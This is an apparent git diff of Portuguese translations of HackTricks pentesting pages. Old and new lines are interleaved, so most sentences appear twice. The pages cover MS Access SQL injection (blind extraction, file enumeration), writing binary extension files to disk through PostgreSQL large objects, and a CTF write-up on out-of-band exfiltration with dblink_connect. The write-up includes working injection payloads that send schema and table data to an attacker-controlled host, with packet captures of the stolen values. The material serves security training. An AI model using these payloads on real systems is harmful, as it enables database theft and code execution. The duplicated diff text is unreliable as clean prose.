* Nomes comuns de tabelas do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Nomes comuns de tabelas Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Forçando nomes de colunas
### Força Bruta em Nomes de Colunas
Você pode **forçar os nomes das colunas atuais** com o truque de encadeamento de iguais com:
Você pode **forçar bruta nos nomes atuais das colunas** com o truque de encadeamento de igualdades com:
```sql
'=column_name='
```
@ -102,79 +100,93 @@ Ou com um **group by**:
```sql
-1' GROUP BY column_name%00
```
Ou você pode fazer brute-force nos nomes das colunas de uma **tabela diferente** com:
Ou você pode forçar bruscamente os nomes das colunas de uma **tabela diferente** com:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Extraindo dados
### Despejando dados
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para extrair dados das tabelas atuais e de outras tabelas**. Mas existem outras maneiras:
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para despejar dados da tabela atual e de outras tabelas**. Mas existem outros métodos:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Em resumo, a consulta usa uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Internal Error" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O subsequente uso de LAST permite considerar apenas a décima tupla. Nesse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Mudando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
Em resumo, a consulta utiliza uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Erro Interno" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Sobre tal valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.
### Baseado em tempo
### Baseado em Tempo
Verifique [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Outras funções interessantes
### Outras Funções Interessantes
* `Mid('admin',1,1)` obter substring da posição 1 com comprimento 1 (a posição inicial é 1)
* `LEN('1234')` obter comprimento da string
* `ASC('A')` obter valor ascii do caractere
* `CHR(65)` obter string do valor ascii
* `CHR(65)` obter string a partir do valor ascii
* `IIF(1=1,'a','b')` se então
* `COUNT(*)` Contar número de itens
## Enumerando tabelas
A partir daqui, você pode ver uma consulta para obter os nomes das tabelas: [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)
A partir de [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter nomes de tabelas:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
No entanto, observe que é muito comum encontrar Injeções SQL em que **você não tem acesso para ler a tabela `MSysObjects`**.
No entanto, note que é muito típico encontrar Injeções SQL onde você **não tem acesso para ler a tabela `MSysObjects`**.
### Acesso ao Sistema de Arquivos
## Acesso ao Sistema de Arquivos
#### Caminho Completo do Diretório Raiz da Web
### Caminho Completo do Diretório Raiz Web
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques posteriores**. Se os erros do aplicativo não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
O conhecimento do **caminho absoluto da raiz web pode facilitar ataques subsequentes**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório web**.
#### Enumeração de Arquivos
### Enumeração de Arquivos
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access dispara uma mensagem de erro informando que o formato do banco de dados é inválido:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Outra maneira de enumerar arquivos consiste em **especificar um item de banco de dados.tabela**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
Outra forma de enumerar arquivos consiste em **especificar um item database.table**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
#### Adivinhação do Nome do Arquivo .mdb
### Adivinhação do Nome do Arquivo .mdb
O **nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
**O nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre dispare uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
#### Quebrador de Senha do Arquivo .mdb
### Quebrador de Senha .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma utilidade gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
## Referências
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>

View file

@ -1,8 +1,23 @@
# Objetos Grandes do PostgreSQL
<details>
O PostgreSQL expõe uma estrutura chamada de **objeto grande** (**tabela pg_largeobject**), que é usada para armazenar dados que seriam difíceis de manipular em sua totalidade (como uma imagem ou um documento PDF). Ao contrário da função `COPY TO`, a vantagem dos **objetos grandes** reside no fato de que os **dados** que eles **armazenam** podem ser **exportados de volta** para o **sistema de arquivos** como uma **cópia idêntica do arquivo original importado**.
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Para **salvar um arquivo completo dentro desta tabela**, você primeiro precisa **criar um objeto** dentro da tabela mencionada (identificado por um **LOID**) e, em seguida, **inserir pedaços de 2KB** dentro deste objeto. É muito importante que todos os **pedaços tenham 2KB** (exceto possivelmente o último) **ou** a função de **exportação** para o sistema de arquivos **não funcionará**.
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Objetos Grandes no PostgreSQL
O PostgreSQL expõe uma estrutura chamada **objeto grande** (tabela `pg_largeobject`), que é utilizada para armazenar dados que seriam difíceis de manipular por inteiro (como uma imagem ou um documento PDF). Ao contrário da função `COPY TO`, a vantagem dos **objetos grandes** está no fato de que os **dados** que eles **contêm** podem ser **exportados de volta** para o **sistema de arquivos** como uma **cópia idêntica do arquivo original importado**.
Para **salvar um arquivo completo dentro desta tabela**, você primeiro precisa **criar um objeto** dentro da tabela mencionada (identificado por um **LOID**) e depois **inserir pedaços de 2KB** dentro deste objeto. É muito importante que todos os **pedaços tenham 2KB** (exceto possivelmente o último) **ou** a função de **exportação** para o sistema de arquivos **não funcionará**.
Para **dividir** seu **binário** em **pedaços** de tamanho **2KB**, você pode fazer:
```bash
@ -14,12 +29,12 @@ base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
```
{% hint style="info" %}
Ao explorar isso, lembre-se de que você precisa enviar **pedaços de 2KB de bytes de texto claro** (não 2KB de bytes codificados em base64 ou hex). Se você tentar automatizar isso, o tamanho de um arquivo **codificado em hex** é o **dobro** (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em **base64** é `ceil(n / 3) * 4`.
Ao explorar isso, lembre-se de que você deve enviar **pedaços de 2KB de bytes em texto claro** (não 2KB de bytes codificados em base64 ou hex). Se tentar automatizar isso, o tamanho de um arquivo **codificado em hex** é o **dobro** (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em **base64** é `ceil(n / 3) * 4`
{% endhint %}
Além disso, depurando o processo, você pode ver o conteúdo dos grandes objetos criados com:
Também, ao depurar o processo, você pode ver o conteúdo dos grandes objetos criados com:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
# Usando lo\_creat & Base64
@ -28,8 +43,8 @@ Primeiro, precisamos criar um LOID onde os dados binários serão salvos:
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
```
Se você estiver explorando uma **Injeção de SQL cega**, você estará mais interessado em usar `lo_create` com um **LOID fixo** para que você **saiba onde** deve **fazer o upload** do **conteúdo**.\
Além disso, observe que não há erro de sintaxe, as funções são `lo_creat` e `lo_create`.
Se você estiver explorando uma **Blind SQLinjection**, terá mais interesse em usar `lo_create` com um **LOID fixo** para **saber onde** deve **fazer upload** do **conteúdo**.\
Observe também que não há erro de sintaxe, as funções são `lo_creat` e `lo_create`.
LOID é usado para identificar o objeto na tabela `pg_largeobject`. A inserção de pedaços de tamanho 2KB na tabela `pg_largeobject` pode ser realizada usando:
```sql
@ -37,26 +52,26 @@ INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
```
Finalmente, você pode exportar o arquivo para o sistema de arquivos fazendo (durante este exemplo, o LOID usado foi `173454`):
Finalmente, você pode exportar o arquivo para o sistema de arquivos executando (durante este exemplo, o LOID usado foi `173454`):
```sql
SELECT lo_export(173454, '/tmp/pg_exec.so');
```
{% hint style="info" %}
Observe que nas versões mais recentes do postgres você pode precisar **fazer upload das extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
Observe que nas versões mais recentes do postgres você pode precisar **carregar as extensões sem indicar nenhum caminho**. [**Leia isto para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
Você possivelmente pode estar interessado em excluir o objeto grande criado após exportá-lo:
Você possivelmente estará interessado em deletar o objeto grande criado após exportá-lo:
```sql
SELECT lo_unlink(173454); -- deletes large object with OID 173454
```
# Usando lo\_import & Hex
Neste cenário, lo\_import será usado para criar um objeto de grande tamanho. Felizmente, neste caso, você pode (e não pode) especificar o LOID que deseja usar:
Neste cenário, lo\_import será usado para criar um objeto de grande porte. Felizmente, neste caso, você pode (e não pode) especificar o LOID que gostaria de usar:
```sql
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
```
Depois de criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você tem que inserir pedaços de 2KB):
Após criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você deve inserir pedaços de 2KB):
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
@ -67,17 +82,32 @@ O HEX deve ser apenas o hex (sem `0x` ou `\x`), exemplo:
```sql
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
```
Finalmente, exporte os dados para um arquivo e exclua o objeto grande:
Finalmente, exporte os dados para um arquivo e delete o large object:
```sql
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
```
{% hint style="info" %}
Observe que nas versões mais recentes do postgres você pode precisar **carregar as extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
Observe que nas versões mais recentes do postgres você pode precisar **fazer o upload das extensões sem indicar nenhum caminho**. [**Leia isto para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
# Limitações
Depois de ler a documentação de objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). É possível configurar **novos objetos grandes** para que seu usuário **não tenha privilégios suficientes** para lê-los, mesmo que tenham sido criados pelo seu usuário.
Após ler a documentação sobre objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). É possível configurar **novos objetos grandes** de modo que seu usuário **não tenha privilégios suficientes** para lê-los, mesmo que tenham sido criados pelo seu usuário.
No entanto, pode haver **um objeto antigo com uma ACL que permite que o usuário atual o leia**, então podemos exfiltrar o conteúdo desse objeto.
No entanto, pode haver **objetos antigos com uma ACL que permite ao usuário atual lê-los**, então podemos exfiltrar o conteúdo desse objeto.
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,40 +2,38 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
**Este é um exemplo de como exfiltrar dados carregando arquivos no banco de dados com `lo_import` e exfiltrá-los usando `dblink_connect`.**
## Preparando o servidor de exfiltração/Injeção de SQL assíncrona
## Preparando o servidor de exfiltração/Injeção SQL Assíncrona
**Extraído de:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
Como o `pg_sleep` também não causa atraso, podemos assumir com segurança se a execução da consulta ocorre em segundo plano ou de forma assíncrona.
Como o `pg_sleep` também não causa atraso, podemos assumir com segurança que a execução da consulta ocorre em segundo plano ou de forma assíncrona.
Normalmente, `dblink_connect` pode ser usado para abrir uma conexão persistente com um banco de dados PostgreSQL remoto (por exemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Como podemos controlar o parâmetro dessa função, podemos realizar uma solicitação de falsificação de solicitação do lado do servidor SQL para nosso próprio host. Isso significa que podemos realizar uma injeção de SQL fora de banda para exfiltrar dados dos resultados da consulta SQL. Pelo menos, existem duas maneiras de fazer isso:
Normalmente, `dblink_connect` pode ser usado para abrir uma conexão persistente com um banco de dados PostgreSQL remoto (por exemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Como podemos controlar o parâmetro desta função, podemos realizar um SQL Server Side Request Forgery para o nosso próprio host. Isso significa que podemos realizar uma Injeção SQL Out-of-Band para exfiltrar dados dos resultados de consultas SQL. Existem pelo menos duas maneiras de fazer isso:
1. Configurar um **servidor DNS** e, em seguida, acionar a conexão para `[data].our.domain` para que possamos ver os dados no log ou nos pacotes de rede DNS.
2. Configurar um **servidor PostgreSQL público, monitorar os pacotes de rede de entrada para a porta PostgreSQL**, e em seguida, acionar uma conexão para nosso host com dados exfiltrados como `user`/`dbname`. Por **padrão**, o PostgreSQL não usa SSL para comunicação, portanto, podemos ver `user`/`dbname` como um texto simples na rede.
2. Configurar um **servidor PostgreSQL público, monitorar os pacotes de rede que chegam à porta do PostgreSQL**, e então acionar uma conexão para o nosso host com dados exfiltrados como `user`/`dbname`. Por **padrão**, o PostgreSQL não usa SSL para comunicação, então podemos ver `user`/`dbname` como um **texto simples** na rede.
O **segundo método é mais fácil** porque não precisamos de nenhum domínio. Só precisamos configurar um servidor com um IP público, instalar o PostgreSQL, definir o serviço PostgreSQL para ouvir \*/0.0.0.0 e executar um capturador de rede (por exemplo, tcpdump) para monitorar o tráfego para a porta PostgreSQL (5432 por padrão).
O **segundo método é mais fácil** porque não precisamos de nenhum domínio. Precisamos apenas configurar um servidor com um IP público, instalar o PostgreSQL, configurar o serviço PostgreSQL para ouvir em \*/0.0.0.0 e executar um dumper de rede (por exemplo, tcpdump) para monitorar o tráfego para a porta do PostgreSQL (5432 por padrão).
Para definir o PostgreSQL para que ele **ouça o público**, defina `listen_addresses` em `postgresql.conf` para `*`.
Para configurar o PostgreSQL para que ele **escute publicamente**, defina `listen_addresses` em `postgresql.conf` para `*`.
```
listen_addresses = '*'
```
Para monitorar o tráfego de entrada, execute o comando `tcpdump` para monitorar a porta 5432.
Para monitorar o tráfego de entrada, execute `tcpdump` para monitorar a porta 5432.
```
sudo tcpdump -nX -i eth0 port 5432
```
@ -43,17 +41,17 @@ Para verificar se obtemos uma conexão do alvo, podemos tentar usar esta consult
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
```
Se bem-sucedido, obtemos um pedaço de pacote de rede com o `user` e `dbname` legíveis.
Se bem-sucedido, obtemos um pedaço do pacote de rede com `user` e `dbname` legíveis.
```
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
```
Então, podemos continuar a extrair o banco de dados usando várias consultas PostgreSQL. Note que para cada resultado de consulta que contém espaços em branco, precisamos converter o resultado para hex/base64 com a função `encode` ou substituir o espaço em branco por outro caractere com a função `replace`, pois isso causará um erro de execução durante o processo de `dblink_connect`.
Então, podemos **continuar a extrair o banco de dados usando várias consultas PostgreSQL**. Observe que para cada resultado de consulta que contém espaços em branco, precisamos converter o resultado para **hex/base64** com a função `encode` ou substituir o espaço em branco por outro caractere com a função `replace`, pois isso causará um erro de execução durante o processo `dblink_connect`.
Obter uma **lista** de **esquemas**:
```
@ -62,28 +60,28 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
```
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
0x0070: 6f73 7467 7265 7300 00 ostgres.
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
0x0070: 6f73 7467 7265 7300 00 ostgres.
```
Obter uma **lista** de **tabelas** no esquema atual:
Obtenha uma **lista** de **tabelas** no esquema atual:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
```
```
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
```
**Conte** as **linhas** na tabela `searches`.
```
@ -92,38 +90,38 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) F
```
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
0x0050: 6772 6573 0000 gres.
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
0x0050: 6772 6573 0000 gres.
```
Parece que só há uma tabela vazia no esquema atual e a flag não está no banco de dados. Talvez precisemos realmente exfiltrar dados de `/var/lib/postgresql/data/secret`. Infelizmente, se tentarmos usar `pg_read_file` ou `pg_read_binary_file` para ler o arquivo, não receberemos uma conexão de entrada para que o usuário atual possa não ter permissão para usar essas funções.
